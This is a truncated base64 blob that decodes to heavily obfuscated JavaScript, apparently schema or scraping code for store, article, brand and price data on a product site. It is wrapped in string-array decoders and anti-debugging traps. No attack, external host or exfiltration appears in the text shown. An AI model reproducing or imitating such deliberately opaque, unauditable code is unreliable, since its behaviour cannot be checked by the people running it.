1cTNyU29BYlciLCJGZ0RwZlNrUiIsIldQbGNTOGtXV1JaZEtXIiwidXhwZEtOMEwiLCJXUnJNaVNrbVc0YSIsImt1L2RKWXhkSnEiLCJXUmhjSE1pY2RHIiwiam1vb3pDa3pXNk8iLCJXN0ZjTUNvcXl3ZSIsIm5tb01kZFRRIiwiV1JETVdRbWJEYSIsIlc3dGRMSkR3d1dmY2Ztb3VXUG45YnRtIiwieENrS1dSRmRMQ284Iiwid0NrVVc1RmNIOG84IiwiZVhOY0tTa2YiLCJ1Z0pkSzJEUiIsInZkdGNRWkJkUHhaY1JDb3RXUHUwcVNvUERHIiwiVzdxUXhtb0JtcSIsIlc0NWJXNnRjSFpDIiwiV09oZEp1bGRLQ29FIiwic2c5NGZDa2QiLCJXUE5kVkxCZFM4b2oiLCJvU292YloxTSIsIlc1L2RIOG9raVNreiIsImpTa0VwQ290cFciLCJXNjNkUzhvTmFDa0IiLCJXUW1Vbk43ZEpXIiwidFNvUG5ta3NXUFciLCJ4U2tZV1AvZElta0kiLCJrMmxkUGNoZEphIiwiV1FEWm5ta2pXNUMiLCJyOGtTV1JoZFRtb0oiLCJjcmhjSkciLCJXUlhpV1AvZEtKTyIsIlc1QmRQQ29IbFNrSCIsIkZIRmNMMFpkSFciLCJ2dWRjR0NrRFc1TmRKWUw5IiwiV1A3ZFEwQmRUU29jIiwiVzdlWlc2WmNTQ29VIiwiVzY4OGNTa2hBVyIsIldSWDRucSIsIldRZWNoMXRkTlciLCJXUWhjRzBlSGxxIiwiblNrQ2JDb1dXNzAiLCJ2SE5jUTNCZEhxIiwieENrSFdRUmRKOG9OIiwiRDBpVWo4a1EiLCJwQ28xdVNrSVc0cSIsIldPZGNHbWtYV1JaZFJxIiwiektwZE5ta2xXNXkiLCJ2eHBjT1NrMlc0aSIsImdxZGRQdzNkUUciLCJXUUh2V1FhTnVhIiwiQk1SY1Q4a3VXNUciLCJXUGxjVFNrYVdSZGRRVyIsIkVTa1BXUk5jU21raSIsIldSdGRRdUc5V1FpIiwiVzZ5SmhtazZiVyIsIkFDa3V2U291Y2EiLCJBOGtyV1JSY1Bta1AiLCJmQ2tWcUNvRWZHIiwiV1BwZE52QmRUU28wIiwiaDhvSG1Da09XNEciLCJ2ZTNjU1pxbSIsInN4M2RHMVByIiwicGVIQSIsImVlbGRMZVZjVkciLCJraE5kTWF5IiwiVzVYcEVhdTEiLCJ0eDdkS1NvdmpxIiwiczJCY1Zta0dXNDgiLCJnbW8rQ0NrbFdQVyIsIlc0QmRTbW8va1ciLCJXUC9kTU0wdldSSyJdO3JldHVybihicj1mdW5jdGlvbigpe3JldHVybiB0fSkoKX14clt5cigyMjksMCwwLDAsInlnN2QiKSsiZ2UiXT1DcigxMTA0LDAsInBjUSUiKSt5cig1NDUsMCwwLDAsImRDNUkiKSt5cigzODQsMCwwLDAsInlOeCYiKStDcig2NTIsMCwiJSpXJCIpO2NvbnN0IHdyPWZyW2hyKCJCSlFiIiwwLDAsMCw3NzMpXShmcltTcigiXkhkIyIsMCwxMjA1KSsidCJdKHtzdG9yZTpmclt5cig0NDMsMCwwLDAsImZBKHgiKSsidCJdKHt3ZWJzaXRlOmZyW0NyKDEwODAsMCwiZkEoeCIpKyJhbiJdKClbeXIoNTQ4LDAsMCwwLCJFNU0wIikrImUiXSgodD0+ITA9PT10KSx4ciksbmFtZTpmcltTcigieWc3ZCIsMCw3NDYpKyJnIl0oKVtTcigiU1lZTiIsMCwxMTY4KV0oMSksc3RvcmVJZDpmcltTcigiY2hnMSIsMCw5OTUpKyJnIl0oKVtocigiZkEoeCIsMCwwLDAsNjc3KV0oMSl9KX0pKSxPcj1mclttcigwLDAsMCwiQkpRYiIsOTQxKSsidCJdKHthcnRpY2xlOmZyW21yKDAsMCwwLCJEXkxIIiw2NjIpKyJ0Il0oe3NsdWc6ZnJbU3IoIjhKI1siLDAsMTIwNikrImciXSgpW3lyKDcyOSwwLDAsMCwiXkhkIyIpXSgxKSx0aXRsZTpmcltDcig4OTEsMCwiVV5ZbCIpKyJnIl0oKVtDcigxMDU3LDAsIiUqVyQiKV0oMSksd2ViY29kZTpmclt5cig0MjUsMCwwLDAsIiUqVyQiKSsiZyJdKClbaHIoIm5nUEsiLDAsMCwwLDE5MCldKDEpLGFydGljbGVJZDpmclt5cigyMzgsMCwwLDAsInVdUW4iKSsiZyJdKClbeXIoNzEyLDAsMCwwLCJTWVlOIildKDEpfSkscHJpbWFyeUltYWdlTWVkaXVtOmZyW1NyKCJTRG5UIiwwLDY5MikrInQiXSh7b3JpZ2luYWxEYXRhOmZyW21yKDAsMCwwLCJNSmkkIiw2MDkpKyJnIl0oKVttcigwLDAsMCwiRXUoUCIsNzE1KV0oMSl9KSxicmFuZDpmcltTcigidkh3MiIsMCw4MjIpKyJ0Il0oe25hbWU6ZnJbQ3IoODM1LDAsImZMMUoiKSsiZyJdKClbeXIoODA3LDAsMCwwLCJnXVFIIildKDEpfSl9KSxScj1mcltDcig4NTgsMCwiRTVNMCIpKyJ0Il0oe3ByaWNlOmZyW2hyKCJpKEolIiwwLDAsMCw0NDQpKyJ0Il0oe2dyb3NzOmZyW1NyKCIlKlckIiwwLDcyMSkrInIiXSgpW1NyKCJ2SHcyIiwwLDczMCkrbXIoMCwwLDAsIjhKI1siLDY0MCkrImUiXShtcigwLDAsMCwiTVNZdCIsNzUxKSt5cigzOTQsMCwwLDAsIk1TWXQiKStDcigxMDkwLDAsIlJQM1oiKStTcigiZkwxSiIsMCw5NzIpK21yKDAsMCwwLCJmQSh4Iiw5MjUpK21yKDAsMCwwLCJuZ1BLIiw2NDkpK1NyKCIybEJVIiwwLDEwMjMpK0NyKDEwMDgsMCwiXkhkIyIpKX0pLG9ubGluZUJ1dHRvbkFjdGlvbjpmcltTcigiKSRqKCIsMCw2NjkpKyJhbCJdKGhyKCJSJlEpIiwwLDAsMCw3MjkpKSxpdGVtT25EaXNwbGF5OmZyW21yKDAsMCwwLCJeSGQjIiw0NTIpKyJhbiJdKCksb25saW5lU2hpcG1lbnQ6ZnJbQ3IoMTE2MSwwLCJmQSh4IildKGZyW1NyKCJmQSh4IiwwLDg5OSkrInQiXSh7cHJpY2U6ZnJbU3IoIlt3WVsiLDAsMTI2MikrInQiXSh7Z3Jvc3M6ZnJbU3IoImJGeGYiLDAsOTE1KSsiciJdKClbU3IoIiVWWjUiLDAsODAxKStDcig5OTQsMCwieU54JiIpKyJlIl0oaHIoImUlUlIiLDAsMCwwLDUzMikraHIoIkFtJkgiLDAsMCwwLDM2MCkrQ3IoODc5LDAsIlVeWWwiKSt5cig1OTQsMCwwLDAsImUlUlIiKStTcigidkh3MiIsMCwxMTMzKStTcigiZkEoeCIsMCw5NjcpK1NyKCJCSlFiIiwwLDk1NCkrU3IoIjElZmciLDAsMTA1NCkreXIoNDc4LDAsMCwwLCIxJWZnIikrU3IoImhVQEMiLDAsODgwKSl9KX0pKVtDcig2MzUsMCwiOEojWyIpK21yKDAsMCwwLCJnXVFIIiw1NjMpXSgpfSk7ZnJbaHIoInlnN2QiLDAsMCwwLDE4NCkrInQiXSh7c3RvcmU6ZnJbQ3IoNzQ1LDAsIjElZmciKSsidCJdKHtuYW1lOmZyW0NyKDkxMCwwLCIkcnpXIikrImciXSgpLGlkOmZyW3lyKDgwMSwwLDAsMCwiZ11RSCIpKyJnIl0oKX0pfSlbU3IoIl5IZCMiLDAsODg2KV0oUnIpO2NvbnN0IFByPWZyW21yKDAsMCwwLCJnOWNEIiw1OTEpKyJ0Il0oe3VybDpmcltTcigiW3dZWyIsMCwxMTk4KSsiZyJdKClbeXIoMzUzLDAsMCwwLCJTRG5UIildKDEpfSk7ZnVuY3Rpb24gX3IodCl7Y29uc3QgZT17bURqVGQ6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sS2t6VnU6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSxHS2JtbzpvKDk3LDI2MSwiTVZQZCIsLTEyNikrbigtMTI0LDI4LDE2OCwxMTksIkReTEgiKStpKDE0ODUsMTIwMyw5MDYsIkJKUWIiKStyKDEzMDIsMTE5OCwxMDQxLDEyNjIsImddUUgiKSxmWkhMZTpjKDE1NjIsInBjUSUiLDE2OTgsMTYyOSkraSgxMDQ2LDEwNTgsMTA3MCwiZ11RSCIpK2koMTU1MCwxMzcxLDExODUsImc5Y0QiKStpKDEyNjgsMTUzNCwxNzcxLCJPdiZVIikraSgxNDYyLDExNjcsODc0LCJpKEolIikrbyg1NTIsODAxLCJwY1ElIiw4MTQpKyIgKSIsWG9VYnY6ZnVuY3Rpb24odCl7cmV0dXJuIHQoKX0sWmtEYlg6bigzNDcsMTU3LDE2Myw5MCwiZ11RSCIpLGNDT1RPOmkoMTQxNiwxMjg2LDE1MzIsIkV1KFAiKSxOWmRSZzpjKDEyNjIsImNoZzEiLDEzNjgsMTQ3NSksUE5LcHE6cigxMTczLDEyODQsMTM0NCwxMTU5LCIjQThqIiksdWpReHM6YygxNjY5LCJCSlFiIiwxNzYwLDE4MjUpK28oMTIwLC0yNSwiI0E4aiIsNzApLHJJd055Om8oMzUzLDMzOSwieWc3ZCIsMjA1KSxZUkRnSDpyKDE2MjMsMTE4OCwxNTg4LDEzODgsIlJQM1oiKSxicXFvbTpmdW5jdGlvbih0LGUpe3JldHVybiB0PGV9LGtHZkt5OmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxLc2NqRjppKDEyMDQsMTM3NywxMjkwLCJING1kIiksSXVPUFg6bigtMTAsLTEsLTEwNywzMDEsIlNEblQiKSxpZlRjdjpyKDk2MCwxMDU5LDEwOTAsMTE0OCwicSNTKiIpK2MoMTI5OCwiQW0mSCIsMTIyMyw5ODkpK2koMTU4NCwxNDE0LDEyOTAsIlJQM1oiKSsiKSIsT3NtWEc6aSgxMDk5LDEzOTQsMTY5NSwiSDRtZCIpK28oNTM5LDYwMCwidkh3MiIsODQ3KStvKDQ0NCwyOTAsImZMMUoiLDE2NSkraSgxNTc5LDEzMTgsMTAxMywiI0E4aiIpK3IoMTIwMiwxMjQ2LDE1OTIsMTQ0MSwiZzljRCIpK2koMTI1Myw5OTEsMTEzNSwiRTVNMCIpK2koMTc3NiwxNTAyLDE2MzksImZBKHgiKSxNYnJiQjpjKDE1NTIsIm5nUEsiLDE3MTMsMTYzNiksY0pBaFg6aSgxNzM5LDE0NDAsMTMwOCwiZ11RSCIpLExpVEh3OnIoMTQ3MiwxMzU5LDE2OTgsMTQ0NSwiQW0mSCIpLFR0QkZTOmZ1bmN0aW9uKHQpe3JldHVybiB0KCl9LG5sSURSOmZ1bmN0aW9uKHQsZSxuKXtyZXR1cm4gdChlLG4pfSxuS0hwaDpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sVmVYUXI6aSgxMTkzLDEzMDMsMTM3NSwiU1lZTiIpLGtCTE9xOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxKU2F4UzpjKDE0MzEsIiRyelciLDE0NjUsMTQzOCkrImciLHlOTnBnOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxKT3dGQTpvKDUzMiw1MDMsIiNBOGoiLDI0NCksaU9ubXA6byg1MiwxNDIsIjhKI1siLDI3OCksallqeGU6big0OSwtMjAwLDIsLTExNywiZkEoeCIpK24oLTQwOCwtMTU5LC05LDEyMSwiRF5MSCIpK2MoMTI0MCwiRXUoUCIsMTA2OSwxNDQ0KSxGeFpESTpuKDE0Myw0MywzMjMsMjYsImc5Y0QiKSsiZXIiLHpsdGR0Om4oNTIxLDIxNyw0Niw0MjEsImddUUgiKSxBc0RpUjpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LG1VbFNLOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQvZX0sT3N1aUQ6cigxMTY5LDE1NTIsMTUwMSwxMjg4LCJxI1MqIikrImgiLFBLVmpqOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxNSFBVejpmdW5jdGlvbih0LGUpe3JldHVybiB0JWV9LHlDSXJUOnIoMTIwNCw5NzUsMTA5Miw5NDYsImc5Y0QiKSxYS1BaQzpjKDExOTcsIjlLcXUiLDEzODUsMTA5OSkscmVUUHo6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSxvSWFyRTpuKDExMSwxNDksLTY3LDM3MCwiUiZRKSIpLGlOa0drOmMoMTQ5MCwiOUtxdSIsMTYwNCwxMjc0KSxlc2lVVDpuKDE5LDIwMiwzNzUsMjYsImc5Y0QiKSsibiIsem5oYWc6aSgxNzE3LDE0MzksMTIyNywiT3YmVSIpLHNhak5ROnIoMTUzNCwxMTE4LDEzODMsMTM1MiwiQEFYbCIpLExOeVFqOm8oMzI1LDE0OSwiZzljRCIsNTIyKStyKDEzNzAsMTMyMSwxMDY1LDEwODIsIk1TWXQiKSsidCIsRlZCVlk6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sTHNSTG06cigxMjA2LDk0NywxMTMzLDkyOCwiZkEoeCIpK2MoMTUwNSwiY2hnMSIsMTQ4NSwxNDk2KSsiKyQiLEJmZ3ZwOmMoMTEzNywiZ11RSCIsOTIyLDEzNjgpLEhGSFJYOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxHbU1UZDppKDEwNzIsMTMxOSwxNTAyLCJNSmkkIiksb0JwcEM6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LFJCSlZSOmMoMTM5MiwiXkhkIyIsMTU0NywxMzU1KSxUaFRHYzpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfX07ZnVuY3Rpb24gbih0LGUsbixyLG8pe3JldHVybiBDcihlLSAtOTI1LDAsbyl9ZnVuY3Rpb24gcih0LGUsbixyLG8pe3JldHVybiB5cihyLTYyMSwwLDAsMCxvKX1mdW5jdGlvbiBvKHQsZSxuLHIsbyl7cmV0dXJuIHlyKHQtIC0xNzEsMCwwLDAsbil9ZnVuY3Rpb24gYSh0KXtmdW5jdGlvbiBvKHQsZSxuLHIsbyl7cmV0dXJuIGMobi0gLTQ3OSxlLG4tMTg5LHItMjc1KX1jb25zdCBpPXtIcEJ4SjpmdW5jdGlvbih0LG4pe3JldHVybiBlWyhyPTY4MSxvPSJVXllsIixncihyLSAtMTgyLG8pKV0odCxuKTt2YXIgcixvfSxuekdhcjplW3UoLTIsMjIyLC0yNjksMTQ1LCI5S3F1IildLEFKbUVSOmVbbygwLCI4SiNbIiwxMDY4LDEyMjkpXSxCWGtLRzplW2woMTk2LDM1OSwxMjgsIkReTEgiLDYwKV0sRUhwZUk6ZVtvKDAsIk1WUGQiLDEwODIsOTc5KV0sdUdKSmk6ZnVuY3Rpb24odCxuKXtyZXR1cm4gZVsocj0ieU54JiIsYT0tNDQ3LG8oMCxyLGEtIC0xMTU1LGEtNDkpKV0odCxuKTt2YXIgcixhfSxRZXVkczplW28oMCwiaFVAQyIsNzM5LDY4NCldLHZ5aHBNOmZ1bmN0aW9uKHQsbil7cmV0dXJuIGVbKHI9MTA3OSxhPSJeSGQjIixvKDAsYSxyLTAsYS0xMTgpKV0odCxuKTt2YXIgcixhfSxkRlBRcTplW28oMCwiKSRqKCIsMTE1OCwxMDAyKV0sdWdDTlc6ZVtkKDM1Nyw0NTcsMzg3LCJAQVhsIiw0NzIpXSxDZVJZRjpmdW5jdGlvbih0KXtyZXR1cm4gZVsobj0iZzljRCIscj0zOTAsbz02NjIsdShyLTg5OSxuLTM3NCxyLTQwNixvLTIwNCxuKSldKHQpO3ZhciBuLHIsb30sZ0VWdFU6ZnVuY3Rpb24odCxuLHIpe3JldHVybiBlWyhvPS0xMyxhPTk4LGk9IkFtJkgiLGM9LTIxMCxsKG8tMzE1LGEtMTUwLGktNDczLGksYy0gLTE0OSkpXSh0LG4scik7dmFyIG8sYSxpLGN9fTtmdW5jdGlvbiBzKHQsZSxuLHIsbyl7cmV0dXJuIGMoZS0gLTEwNDgsbyxuLTI3NSxyLTM4Mil9ZnVuY3Rpb24gZCh0LGUscixvLGEpe3JldHVybiBuKDAsYS0zMzEsMCwwLG8pfWZ1bmN0aW9uIHUodCxlLG4sbyxhKXtyZXR1cm4gcigwLDAsMCx0LSAtMTM0OSxhKX1mdW5jdGlvbiBsKHQsZSxuLG8sYSl7cmV0dXJuIHIoMCwwLDAsYS0gLTkyNSxvKX1pZihlW3UoNDIsMCwwLDAsInVdUW4iKV0oZVtkKDAsMCwwLCJ5ZzdkIiw1NDEpXSxlW2woMCwwLDAsImddUUgiLDI3MildKSl7aWYoZVtzKDAsMzkyLDM4OSwyOTUsInZIdzIiKV0odHlwZW9mIHQsZVtvKDAsIjElZmciLDEwNTYsMTAyNSldKSl7aWYoZVtzKDAsNTI1LDU5NCw2MDUsIkV1KFAiKV0oZVtsKDAsMCwwLCI4SiNbIiwyNSldLGVbZCgwLDAsMCwiKSRqKCIsMzUxKV0pKXJldHVybiBmdW5jdGlvbih0KXt9W2woMCwwLDAsInZIdzIiLC02NSkrdSgtNjMsMCwwLDAsIks1WiEiKSsiciJdKGVbbCgwLDAsMCwicGNRJSIsMTI1KV0pW2QoMCwwLDAsImhVQEMiLDUzOCldKGVbbygwLCJiRnhmIiw3NDYsNjI2KV0pO3tjb25zdCB0PV8weDMwNDI3YVt1KC00MTYsMCwwLDAsInVdUW4iKStkKDAsMCwwLCJwY1ElIiwxMSkrInIiXVtzKDAsMzk5LDY4Nyw3MDAsIiUqVyQiKStvKDAsIjElZmciLDg2NSw4NTkpXVtvKDAsIm9MeSQiLDEwNTEsOTc3KV0oXzB4NGMwNzc3KSxlPV8weDI1YzFiMVtfMHgxMTEzZDddLG49XzB4NTY5MmQyW2VdfHx0O3RbZCgwLDAsMCwiMmxCVSIsLTIxKStzKDAsMTMzLDM3OSwxMDIsIlVeWWwiKV09XzB4NTYyOGMzW2woMCwwLDAsIkReTEgiLDMxNCldKF8weDU0OTM5ZiksdFtsKDAsMCwwLCI5S3F1IiwzODcpK3MoMCwzNDUsODMsNTYxLCIxQV50IildPW5bbygwLCIxQV50IiwxMTI4LDg2NykrZCgwLDAsMCwiSzVaISIsMTE0KV1bZCgwLDAsMCwiQEFYbCIsMzg5KV0obiksXzB4ZGM1MDZkW2VdPXR9fWVsc2UgaWYoZVtzKDAsNDk3LDUxOCw0ODksIiUqVyQiKV0oZVtvKDAsImNoZzEiLDgxMSw1NjApXSxlW2QoMCwwLDAsIm9MeSQiLDkxKV0pKWlmKGVbbCgwLDAsMCwiY2hnMSIsMjMzKV0oZVtsKDAsMCwwLCJ2SHcyIiwxOTUpXSgiIixlW2woMCwwLDAsIk1WUGQiLDM1OSldKHQsdCkpW2VbbCgwLDAsMCwiQEFYbCIsMTUpXV0sMSl8fGVbbygwLCJTWVlOIiw5NjMsNzA2KV0oZVt1KC0yNCwwLDAsMCwiI0E4aiIpXSh0LDIwKSwwKSl7aWYoIWVbcygwLDE4OSwzMzIsLTExMSwiSzVaISIpXShlW28oMCwiKSRqKCIsNzYwLDYzMyldLGVbbCgwLDAsMCwiaShKJSIsMzgwKV0pKXtjb25zdCB0PV8weDU5ZWNmZltkKDAsMCwwLCJNVlBkIiw0NjApXShfMHgxZTVlODQsYXJndW1lbnRzKTtyZXR1cm4gXzB4MjlkYjk2PW51bGwsdH0oZnVuY3Rpb24oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIGwoMCwwLDAsbyxyLTc4KX1pZihpWyhyPSIybEJVIixhPTM0OCxjPTU5NixvKDAscixjLSAtMTkzLGEtMzcxKSldKGlbdCgwLDAsMCw1ODcsImNoZzEiKV0saVt0KDAsMCwwLDUzNSwiRTVNMCIpXSkpe2NvbnN0IHQ9XzB4NTYwN2E4WyhlPSJFNU0wIixuPTI3MSxsKDAsMCwwLGUsbi01MykpXShfMHgyYmIzZGMsYXJndW1lbnRzKTtyZXR1cm4gXzB4NTYzOGFmPW51bGwsdH1yZXR1cm4hMDt2YXIgZSxuLHIsYSxjfSlbbCgwLDAsMCwiXkhkIyIsNDc1KStzKDAsMjg3LDMwMSw0MDEsIjElZmciKSsiciJdKGVbZCgwLDAsMCwiVENTdyIsNDI2KV0oZVtzKDAsNTE4LDUyNCw0OTYsInEjUyoiKV0sZVtkKDAsMCwwLCJSJlEpIiw5NildKSlbbygwLCJING1kIiwxMDAzLDk5MCldKGVbbygwLCJNSmkkIiwxMDgxLDkyMildKX1lbHNlIGlmKGVbbCgwLDAsMCwiMmxCVSIsNDcpXShlW2woMCwwLDAsIm9MeSQiLDMxMildLGVbcygwLDI3MywxMTIsNiwiQW0mSCIpXSkpe2lmKF8weDljNjU2OSl7Y29uc3QgdD1fMHgzOWQxZDlbbygwLCJiRnhmIiw3NTcsNjI0KV0oXzB4MWNhNzkzLGFyZ3VtZW50cyk7cmV0dXJuIF8weDRmZDQ4Mz1udWxsLHR9fWVsc2UoZnVuY3Rpb24oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIGwoMCwwLDAscix0LTY1MCl9aWYoIWlbdCg3ODAsMCwwLCJLNVohIildKGlbKGU9MzE5LG49IiVWWjUiLHUoZS02MTYsMCwwLDAsbikpXSxpW3QoNTU2LDAsMCwiW3dZWyIpXSkpcmV0dXJuITE7dmFyIGUsbjtfMHgxYjE1ZDY9XzB4NWZhYWQzfSlbdSgtNDE2LDAsMCwwLCJ1XVFuIikrbygwLCJSUDNaIiw2MjIsNTQxKSsiciJdKGVbbygwLCJBbSZIIiw5NTYsMTE5NildKGVbZCgwLDAsMCwiXkhkIyIsNTI5KV0sZVt1KC0zNzksMCwwLDAsIkU1TTAiKV0pKVtkKDAsMCwwLCIxJWZnIiw0OTEpXShlW28oMCwicSNTKiIsOTk3LDEwMzEpXSk7ZWxzZXtsZXQgdDt0cnl7Y29uc3Qgbj1lW3MoMCwzMTYsMTQyLDczLCIxQV50IildKF8weDU5NTM0NixlW3MoMCw0MDIsNTY3LDQyNiwiJSpXJCIpXShlW2woMCwwLDAsIkJKUWIiLDI0NyldKGVbbCgwLDAsMCwiU1lZTiIsNDUyKV0sZVtzKDAsNjI0LDc3Nyw2MjMsImZBKHgiKV0pLCIpOyIpKTt0PWVbZCgwLDAsMCwiTUppJCIsMTE2KV0obil9Y2F0Y2goVyl7dD1fMHgzZjk5NzJ9Y29uc3Qgbj10W3MoMCwyODMsMTk3LDg2LCJiRnhmIikrImxlIl09dFtsKDAsMCwwLCJ5ZzdkIiwtNDkpKyJsZSJdfHx7fSxyPVtlW28oMCwiMUFedCIsMTEwMCwxNDA4KV0sZVtsKDAsMCwwLCIxQV50Iiw0NTUpXSxlW28oMCwibmdQSyIsMTIxOCwxMzYzKV0sZVtkKDAsMCwwLCJTWVlOIiwyOTQpXSxlW28oMCwiRF5MSCIsMTE3NSw5MTkpXSxlW3UoLTMzNSwwLDAsMCwiZzljRCIpXSxlW2QoMCwwLDAsIm5nUEsiLDUxMSldXTtmb3IobGV0IGE9MDtlW3UoLTI4MiwwLDAsMCwiQEFYbCIpXShhLHJbdSgtNDMwLDAsMCwwLCIlVlo1IikrImgiXSk7YSsrKXtjb25zdCB0PV8weDFjNDJkMltzKDAsNjEwLDgyMSw1NDEsIl5IZCMiKStkKDAsMCwwLCJUQ1N3IiwzNjUpKyJyIl1bZCgwLDAsMCwiNlRvXiIsNjMpK2QoMCwwLDAsIkReTEgiLDU3MildW2woMCwwLDAsIkBBWGwiLDMyMSldKF8weDFiZThlNiksZT1yW2FdLGk9bltlXXx8dDt0W3MoMCw1MDcsMjY0LDc4OCwiZkEoeCIpK2woMCwwLDAsIk92JlUiLDM0NSldPV8weDU2NmViY1tkKDAsMCwwLCJTRG5UIiw5MCldKF8weDU0ZGZhOSksdFtkKDAsMCwwLCJnOWNEIiw2NSkrbCgwLDAsMCwiaShKJSIsLTI2KV09aVtvKDAsIm9MeSQiLDEwNjksMTAzNykrdSgtMTA4LDAsMCwwLCIlVlo1IildW28oMCwiTVZQZCIsODkyLDYxMyldKGkpLG5bZV09dH19ZVt1KDEwLDAsMCwwLCJING1kIildKGEsKyt0KX1lbHNle2NvbnN0IHQ9e3JDR3p4OmlbbCgwLDAsMCwiMmxCVSIsMzYpXSxicU9vbDppW3MoMCw0NzQsNDE0LDM1OCwiU0RuVCIpXSxJcFFXdjpmdW5jdGlvbih0LGUpe3JldHVybiBpWyhuPSJiRnhmIixyPTEwNDgsbCgwLDAsMCxuLHItNzY4KSldKHQsZSk7dmFyIG4scn0sSGJ0RlQ6aVt1KC00MDQsMCwwLDAsIlNZWU4iKV0sQmdGVUg6ZnVuY3Rpb24odCxlKXtyZXR1cm4gaVsobj0iZEM1SSIscj0zNzAsdShyLTQwNSwwLDAsMCxuKSldKHQsZSk7dmFyIG4scn0sUVlEbGk6aVtsKDAsMCwwLCJmTDFKIiwxODIpXSxrU2hYYTppW2woMCwwLDAsIm1PKUkiLDcyKV0sZUdzU2Q6ZnVuY3Rpb24odCl7cmV0dXJuIGlbKGU9MTEyOCxuPSIpJGooIixsKDAsMCwwLG4sZS05OTUpKV0odCk7dmFyIGUsbn19O2lbbCgwLDAsMCwiXkhkIyIsLTU4KV0oXzB4MzkwMDllLHRoaXMsKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gZSh0LGUsbixyLG8pe3JldHVybiBzKDAsZS01NDUsbi05MSxyLTEzNyxvKX1mdW5jdGlvbiBuKHQsZSxuLHIsbyl7cmV0dXJuIHUoci0xNDczLDAsMCwwLHQpfWNvbnN0IHI9bmV3IF8weDNkNmE3YSh0W2koNjI5LDgxNywieU54JiIsODkwKV0pLG89bmV3IF8weDg3Zjg3ZCh0W2UoMCw2NTIsOTI3LDgzMSwiU0RuVCIpXSwiaSIpLGE9dFtlKDAsMTE2NywxMDY4LDEwOTUsImddUUgiKV0oXzB4NGY0MmVkLHRbZSgwLDkxOSw2NzYsMTA4OSwiJHJ6VyIpXSk7ZnVuY3Rpb24gaSh0LGUsbixyLG8pe3JldHVybiB1KGUtOTk5LDAsMCwwLG4pfXZhciBjLGwsVyxmO3JbaSgwLDUyNSwiZzljRCIpXSh0W2UoMCw2ODUsNjExLDQyNywicSNTKiIpXShhLHRbbigiU0RuVCIsMCwwLDE0MDkpXSkpJiZvW24oImkoSiUiLDAsMCwxMTE4KV0odFsoVz0xODgsZj0idV1RbiIsZCgwLDAsMCxmLFctMTAyKSldKGEsdFsoYz0iTUppJCIsbD0tNDQyLGQoMCwwLDAsYyxsLSAtNDY2KSldKSk/dFtpKDAsNjUzLCJoVUBDIildKF8weDJiMTQ1Yyk6dFtlKDAsOTE4LDg0OCw5NjgsImZBKHgiKV0oYSwiMCIpfSkpKCl9fWZ1bmN0aW9uIGkodCxlLG4scixvKXtyZXR1cm4gaHIociwwLDAsMCxlLTc5MSl9ZnVuY3Rpb24gYyh0LGUsbixyLG8pe3JldHVybiBocihlLDAsMCwwLHQtOTE2KX10cnl7aWYoIWVbbigwLC03MiwwLDAsIkV1KFAiKV0oZVtjKDE3MDAsIlt3WVsiKV0sZVtjKDE2MTgsIl5IZCMiKV0pKXJldHVybiBfMHg1YjYxZjdbaSgwLDExNzcsMCwibmdQSyIpK3IoMCwwLDAsMTM1OCwiJHJ6VyIpXSgpW24oMCwyMzgsMCwwLCIlKlckIikrImgiXShlW28oMTAwLDAsIks1WiEiKV0pW2koMCwxMDIzLDAsIks1WiEiKStuKDAsMzgsMCwwLCJNVlBkIildKClbaSgwLDE1MDcsMCwieU54JiIpK28oNjQ1LDAsIk92JlUiKSsiciJdKF8weGFmMmMxMSlbaSgwLDEwODIsMCwiY2hnMSIpKyJoIl0oZVtpKDAsMTAxNywwLCJnXVFIIildKTtpZih0KXtpZighZVtuKDAsLTExMCwwLDAsIkU1TTAiKV0oZVtjKDExMjksIlImUSkiKV0sZVtyKDAsMCwwLDEwNjksIkFtJkgiKV0pKXJldHVybiBhO2Vbbyg0NTksMCwiUiZRKSIpXShfMHgxYmRkOTYsMCl9ZWxzZSBpZihlW2koMCwxMzk2LDAsInVdUW4iKV0oZVtpKDAsMTA1OSwwLCJlJVJSIildLGVbcigwLDAsMCwxMTI4LCJpKEolIildKSllW3IoMCwwLDAsOTU2LCJTRG5UIildKGEsMCk7ZWxzZSBpZihfMHg0MzM2ZTEpe2NvbnN0IHQ9XzB4NWYyODEyW3IoMCwwLDAsMTM0MSwiZEM1SSIpXShfMHgxMjZhNzAsYXJndW1lbnRzKTtyZXR1cm4gXzB4NDhiMmQyPW51bGwsdH19Y2F0Y2gocyl7fX1mdW5jdGlvbiBOcigpe2NvbnN0IHQ9WyJXUXRjUFNvM1dQN2RHVyIsIkFDb2dlOG9VVzVLIiwiaHZKY1YxbGRQYSIsIkV4ZGRMTjNjUGEiLCJXNUZjVUNrbmxTa0siLCJqR1hlV1AvY01HIiwiaFNraVc2TmRHbWtDIiwidkNrMXkwZSIsImpiRmNJYXRjT3EiLCJ3Q2taeTBhIiwiVzVsZFVDby9xSGUiLCJXNGhjTENrTWg4a0ciLCJXNS9jTTNTVUJHIiwiV1BGY0poN2NJU2tjIiwiRjhrS1dSeGRSOGtkIiwiV1BwY1FTa1hXUXU4Iiwid21vQ2Jta0hXNVciLCJXUGFYa1NrSWNhIiwiYlhYcHhOUyIsInpTbzFzR2xkSlciLCJXN0JjSnVTdXNXIiwiV09GZFVDb1FXUHhkVGEiLCJXUmVDZThrK3lhIiwiV1JoZElDa2VXUFpjUWEiLCJXNE5kT1NvQ3JaOCIsIkQ4b2xDYlZkTlciLCJXNmFoVzRsY0xoaSIsIlc2ZGNQM05kSWEiLCJEbWtiZG1vbXJxIiwib3MvY0hzM2NMRyIsIlc2UmNPe